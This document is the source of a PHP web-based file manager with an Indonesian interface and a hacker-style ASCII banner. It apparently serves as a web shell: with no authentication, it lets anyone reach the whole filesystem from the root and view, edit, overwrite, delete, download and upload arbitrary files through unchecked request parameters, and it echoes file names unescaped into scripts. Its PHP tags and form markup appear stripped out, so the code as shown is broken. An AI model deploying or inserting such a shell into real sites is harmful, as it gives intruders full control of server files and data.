session_start();

function getRootDir($dir) {
while (dirname($dir) !== $dir) {
$dir = dirname($dir);
}
return $dir;
}

$rootDir = getRootDir(__DIR__);

// Handle file deletion
if (isset($_GET['delete'])) {
$fileToDelete = urldecode($_GET['delete']);
if (file_exists($fileToDelete)) {
unlink($fileToDelete);
echo "<script>alert('File \"$fileToDelete\" berhasil dihapus.');</script>";
} else {
echo "<script>alert('File tidak ditemukan.');</script>";
}
}

// Handle file saving
if (isset($_POST['save'])) {
$fileToEdit = urldecode($_POST['file']);
if (file_put_contents($fileToEdit, $_POST['content']) !== false) {
echo "<script>alert('File \"$fileToEdit\" berhasil diperbarui.');</script>";
$content = htmlspecialchars(file_get_contents($fileToEdit));
} else {
echo "<script>alert('Gagal menyimpan perubahan.');</script>";
}
}

// Handle file download
if (isset($_GET['download'])) {
$fileToDownload = urldecode($_GET['download']);
if (file_exists($fileToDownload)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($fileToDownload) . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($fileToDownload));
readfile($fileToDownload);
exit;
} else {
echo "<script>alert('File tidak ditemukan.');</script>";
}
}

// Handle file upload
if (isset($_POST['upload'])) {
$currentDir = isset($_GET['dir']) ? urldecode($_GET['dir']) : $rootDir; // Dapatkan direktori saat ini
$target_dir = rtrim($currentDir, '/') . '/'; // Tentukan direktori tujuan
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;

// Membuat direktori jika belum ada
if (!is_dir($target_dir)) {
mkdir($target_dir, 0755, true);
}

// Memeriksa jika file sudah ada
if (file_exists($target_file)) {
echo "<script>alert('Maaf, file sudah ada.');</script>";
$uploadOk = 0;
}

// Memeriksa ukuran file
if ($_FILES["fileToUpload"]["size"] > 5000000) { // Batas ukuran file 5MB
echo "<script>alert('Maaf, file terlalu besar.');</script>";
$uploadOk = 0;
}

// Jika semua pemeriksaan lolos, upload file
if ($uploadOk == 0) {
echo "<script>alert('Maaf, file Anda tidak terupload.');</script>";
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "<script>alert('File " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " telah diupload ke folder " . htmlspecialchars($currentDir) . ".');</script>";
} else {
echo "<script>alert('Maaf, terjadi kesalahan saat mengupload file Anda.');</script>";
}
}
}

$currentDir = isset($_GET['dir']) ? urldecode($_GET['dir']) : $rootDir;
$files = scandir($currentDir);

$content = '';
$fileToView = '';
if (isset($_GET['file'])) {
$fileToView = urldecode($_GET['file']);
if (file_exists($fileToView)) {
$content = htmlspecialchars(file_get_contents($fileToView));
} else {
die("File tidak ditemukan.");
}
}

$isRootDir = ($currentDir === $rootDir);
$parentDir = dirname($currentDir);


<!DOCTYPE html>
<html lang="id">

<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
File Manager <title>File Manager</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/sweetalert/1.1.3/sweetalert.min.css">
<style>
body {
background: url('https://c4.wallpaperflare.com/wallpaper/52/465/301/illustration-landscape-digital-art-mountains-wallpaper-preview.jpg') no-repeat center center fixed;
background-size: cover;
font-family: monospace;
color: #f1c40f;
}
.container {
background-color: rgba(0, 0, 0, 0.7);
padding: 20px;
border-radius: 8px;
margin: 20px;
text-align: center;
}
.ascii-art {
white-space: pre;
font-size: 18px;
line-height: 1.2;
}
table {
width: 100%;
border-collapse: collapse;
}
th, td {
padding: 12px;
text-align: left;
border-bottom: 1px solid #f1c40f;
}
th {
background-color: #333;
}
a {
color: #f1c40f;
}
.btn {
color: #f1c40f;
text-decoration: none;
padding: 10px;
border: 1px solid #f1c40f;
border-radius: 5px;
margin-right: 5px;
}
.btn:hover {
background-color: #f1c40f;
color: black;
}
pre {
background-color: #444;
padding: 10px;
border-radius: 5px;
color: #f1c40f;
}
#editForm {
display: none;
margin-top: 20px;
}
</style>


<div class="container">
<div class="ascii-art">
<pre>
.--.
|o_o |
|:_/ |
// \ \
(| | )
/'\_ _/`\
\___)=(___/

______ ______ ______ ______ ______ _____ _ _
| __ || __ || __ || __ || __ || _ || || |
| | | || | | || | | || | | || | | || | | || || |
| | | || | | || | | || | | || | | || | | || || |
| |__| || |__| || |__| || |__| || |__| || |_| ||_||_|
|______||______||______||______||______||_____/ (_)
</pre>
</div>

<!-- Tombol Upload -->

<label class="btn" style="display: inline-block;">
<i class="fas fa-upload"></i> Upload File

</label>
<button type="submit" name="upload" class="btn"><i class="fas fa-cloud-upload-alt"></i> Kirim</button>


if (!$isRootDir):
<a href="?dir= echo urlencode($parentDir); " class="btn"><i class="fas fa-arrow-up"></i> Kembali ke Direktori Atas</a>
endif;

if (!$isRootDir):
<a href="?dir= echo urlencode($rootDir); " class="btn"><i class="fas fa-arrow-left"></i> Kembali ke Direktori Utama</a>
endif;

if (empty($content)):

<thead>

<th>File</th>
<th>Aksi</th>

</thead>
<tbody>
foreach ($files as $file):
if ($file !== '.' && $file !== '..'):




endif;
endforeach;
</tbody>
echo htmlspecialchars($file);
if (is_dir($currentDir . '/' . $file)):
<a href="?dir= echo urlencode($currentDir . '/' . $file); " class="btn"><i class="fas fa-folder"></i> Buka</a>
else:
<a href="?file= echo urlencode($currentDir . '/' . $file); " class="btn"><i class="fas fa-eye"></i> Lihat</a>
<a href="?delete= echo urlencode($currentDir . '/' . $file); " class="btn" onclick="return confirmDelete(' echo htmlspecialchars($file); ');"><i class="fas fa-trash"></i> Hapus</a>
<a href="?download= echo urlencode($currentDir . '/' . $file); " class="btn"><i class="fas fa-download"></i> Download</a>
endif;

else:

Lihat File: echo htmlspecialchars(basename($fileToView));


<pre> echo $content; </pre>



<textarea name="content" rows="10" cols="80"> echo $content; </textarea>

<button type="submit" name="save" class="btn"><i class="fas fa-save"></i> Simpan</button>
<button type="button" class="btn" onclick="document.getElementById('editForm').style.display='none'"><i class="fas fa-times"></i> Batal</button>

<button class="btn" onclick="document.getElementById('editForm').style.display='block';"><i class="fas fa-edit"></i> Edit</button>
<a href="?dir= echo urlencode($currentDir); " class="btn">Kembali</a>
endif;
</div>

<script src="https://cdnjs.cloudflare.com/ajax/libs/sweetalert/1.1.3/sweetalert.min.js"></script>
<script>
function confirmDelete(file) {
return confirm(`Anda yakin ingin menghapus file: ${file}?`);
}
</script>